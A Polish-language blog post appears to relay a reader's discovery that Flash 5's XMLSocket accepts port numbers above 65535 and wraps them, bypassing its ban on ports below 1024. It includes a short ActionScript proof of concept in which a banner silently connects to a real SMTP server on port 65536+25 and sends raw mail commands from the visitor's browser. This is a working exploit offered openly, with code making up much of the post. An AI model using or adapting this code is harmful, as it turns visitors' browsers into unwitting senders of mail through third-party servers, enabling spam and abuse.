Flash v5.0 BUG

Jeden z naszych czytelników przesłał informację, dotycząca ciekawego błędu który występuje prawdopodobnie w wersji Flash 5.0

update: Dla zainteresowanych zamieszczam źródło głównego kodu programu

Tak więc zaczynamy:

Prawdopodobnie udalo mi sie znalesc ‚buga’ we flashu (ver. 5) a dokladnie w tworzonych przez niego plikach.
Otoz we flashu jest cos takiego jak XMLSocket – dziala jak zwykly socket pod linuxem / windoza – i ma ograniczenie – nr portu musi byc wiekszy od 1024 (ze zrozumialych przyczyn). Funkcja otwierajaca port (polaczenie wychodzace) przyjmuje jako parametr wartosci longint. Gdy sie do niej wysle wartosc wieksza niz 65535 (max. nr portu) to sie polaczy z portem (nr mod 65535)
Uzywajac tego mozna zrobic we flashu bannerek, ktory przy otwieraniu polaczy sie z serverem np. smtp.poczta.onet.pl na porcie 65535+25 i moze normalnie wyslac m@ila.

– MagnatLU

Źródło głównego kodu programu:

sock = new XMLSocket();
sock.connect( ‚smtp.poczta.onet.pl’, 65536+25 );
sock.send(‚\nHELO strona\n’);
sock.send(‚\nMAIL FROM: \n’);
sock.send(‚\nRCPT TO: \n’);
sock.send(‚\nDATA\n’);
sock.send(‚\nMiales racje, to dziala !!!\n’);
sock.send(‚\n.\n’);
sock.send(‚\nQUIT\n’);
//sock.close()

Przyklad jest bardzo prosty, tylko wysyła dane, nie czeka na odpowiedz serwera, ale z doświadczeń wynika, że to wystarcza przy większości systemów.